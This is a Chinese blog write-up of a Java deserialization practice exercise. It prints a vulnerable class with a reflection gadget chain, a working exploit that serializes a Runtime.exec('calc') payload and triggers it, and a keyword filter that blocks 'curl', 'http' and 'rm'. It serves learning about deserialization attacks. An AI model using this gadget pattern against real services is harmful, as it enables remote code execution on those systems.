一道反序列化练习题
前言:看到了就记录了下。
练习地址:https://www.cnblogs.com/xyylll/p/15424335.html
package com.zpchcbd.exercise;
import java.io.*;
import java.lang.reflect.Method;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class ReflectionPlay implements Serializable {
private static final long serialVersionUID = 814434800882325819L;
private static void gl(ReflectionPlay.ReflectionObject obj) {
// 这个我没太看懂,主要是执行命令,但是这里过滤的参数值都是一些http请求的玩意,可能作者靶场的意图是要通过该机器
// 去请求某些地址吧
if (obj != null && "exec".equals(obj.methodName) && obj.args.length != 0) {
for(int i = 0; i < obj.args.length; ++i) {
Object ag = obj.args[i];
if (ag != null && ag instanceof String) {
String fh = replaceAll((String)ag, "rm", "XX");
fh = replaceAll(fh, "http", "XX");
fh = replaceAll(fh, "\\\\", "XX");
fh = replaceAll(fh, "//", "XX");
fh = replaceAll(fh, "\\.", "XX");
fh = replaceAll(fh, ">", "XX");
fh = replaceAll(fh, "curl", "XX");
obj.args[i] = fh;
}
}
}
}
public static String replaceAll(String input, String regex, String replacement) {
try {
Pattern p = Pattern.compile(regex, 2);
Matcher m = p.matcher(input);
return m.replaceAll(replacement);
} catch (Exception var5) {
var5.printStackTrace();
return input;
}
}
public static class AttackObject implements Serializable {
private static final long serialVersionUID = 4082925022846947297L;
private ReflectionPlay.ReflectionChainsArry reflectionChainsArry;
public AttackObject(ReflectionPlay.ReflectionChainsArry reflectionChainsArry) {
this.reflectionChainsArry = reflectionChainsArry;
}
private void readObject(ObjectInputStream stream) throws Exception {
this.reflectionChainsArry = (ReflectionPlay.ReflectionChainsArry)stream.readFields().get("reflectionChainsArry", (Object)null);
this.reflectionChainsArry.execute(); // 第一步走这里
}
}
public static class ReflectionChainsArry implements Serializable {
private static final long serialVersionUID = 991019635353232843L;
private ReflectionPlay.ReflectionChains[] reflectionChains;
public ReflectionChainsArry(ReflectionPlay.ReflectionChains[] reflectionChains) {
this.reflectionChains = reflectionChains; // new ReflectionChains(Runtime.class, reflectionObjects)
}
public Object execute() throws Exception { // 第二步走这里
Object concurrentObject = null;
ReflectionPlay.ReflectionChains[] var2 = this.reflectionChains;
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
// 循环执行this.reflectionChains中的transform
// 这里的ReflectionChains不清楚为啥是数组,其中只要满足一个对象即可,也不需要是数组
// 为什么只需要满足一个?因为这里循环调用的就是一个ReflectionChains对象中的reflectionChainObject数组对象
ReflectionPlay.ReflectionChains reflectionChainObject = var2[var4];
// 这里就开始已经进行链式调用了
concurrentObject = reflectionChainObject.transform(concurrentObject);
}
return concurrentObject;
}
}
public static class ReflectionChains implements Serializable {
private static final long serialVersionUID = 7085587767543412902L;
private Object firstObject;
private ReflectionPlay.ReflectionObject[] reflectionObjects;
public ReflectionChains(Object firstObject, ReflectionPlay.ReflectionObject[] reflectionObjects) {
this.firstObject = firstObject;
this.reflectionObjects = reflectionObjects;
}
public Object transform(Object InObj) throws Exception {
// 链式调用操作,但是所以这里的firstObject是关键
// 为什么是关键?因为后面的就是对当前这个this.firstObject对象进行操作
// 比如要执行一个命令,那么firstObject就需要为一个runtime.class
// 然后后面的链式调用则是最终从这个runtime.class中进行实例化最后执行命令
// 其实就是一个经典的链式操作
Object concurrentObject = this.firstObject;
for(int i = 0; i < this.reflectionObjects.length; ++i) {
if (this.reflectionObjects[i].dynarg == 1 && InObj != null) {
this.reflectionObjects[i].addArg(InObj);
}
ReflectionPlay.gl(this.reflectionObjects[i]);
concurrentObject = this.reflectionObjects[i].transform(concurrentObject);
}
return concurrentObject;
}
}
public static class ReflectionObject implements Serializable {
private static final long serialVersionUID = -3677766270625763305L;
private String methodName;
private Class[] paramTypes;
private Object[] args;
private Object arg;
public int dynarg = 0;
public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
this.dynarg = dynarg;
}
public void addArg(Object add) {
if (this.methodName.equals("newInstance")) {
this.args = new Object[]{new Object[]{add}};
} else {
if (this.args.length > 0) {
this.args[0] = add;
} else {
this.args = new Object[]{add};
}
}
}
public Object transform(Object input) throws Exception {
try {
Class inputClass = input.getClass();
Method TargetMethod = inputClass.getMethod(this.methodName, this.paramTypes);
TargetMethod.setAccessible(true);
return TargetMethod.invoke(input, this.args);
} catch (Exception var4) {
if (this.args != null && this.args.length != 0) {
Object obj = this.args[0];
if (obj instanceof Object[]) {
throw new RuntimeException(((Object[])((Object[])obj))[0].toString());
} else {
throw new RuntimeException(obj.toString());
}
} else {
throw var4;
}
}
}
}
public static void main(String[] args) throws Exception {
ReflectionObject[] reflectionObjects = new ReflectionObject[]{
// public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args)
new ReflectionObject(1, "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new ReflectionObject(1, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new ReflectionObject(1, "exec", new Class[]{String.class}, new Object[]{"calc"})
};
ReflectionChains[] reflectionChains = new ReflectionChains[]{
new ReflectionChains(Runtime.class, reflectionObjects)
};
ReflectionChainsArry reflectionChainsArry = new ReflectionChainsArry(reflectionChains);
AttackObject attackObject = new AttackObject(reflectionChainsArry);
FileOutputStream fileOutputStream = new FileOutputStream("exercise.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(attackObject);
FileInputStream fileInputStream = new FileInputStream("exercise.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
}
}

这道题应该就是考察反序列化的链式调用和相关的关键词绕过,不过那个关键词绕过我这里应该用不上,可能作者靶场里面是需要通过请求某个地址来获得flag的。
ReflectionObject[] reflectionObjects = new ReflectionObject[]{
// public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args)
new ReflectionObject(1, "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new ReflectionObject(1, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new ReflectionObject(1, "exec", new Class[]{String.class}, new Object[]{"calc"})
};
ReflectionChains[] reflectionChains = new ReflectionChains[]{
new ReflectionChains(Runtime.class, reflectionObjects)
};
ReflectionChainsArry reflectionChainsArry = new ReflectionChainsArry(reflectionChains);
AttackObject attackObject = new AttackObject(reflectionChainsArry);

浙公网安备 33010602011771号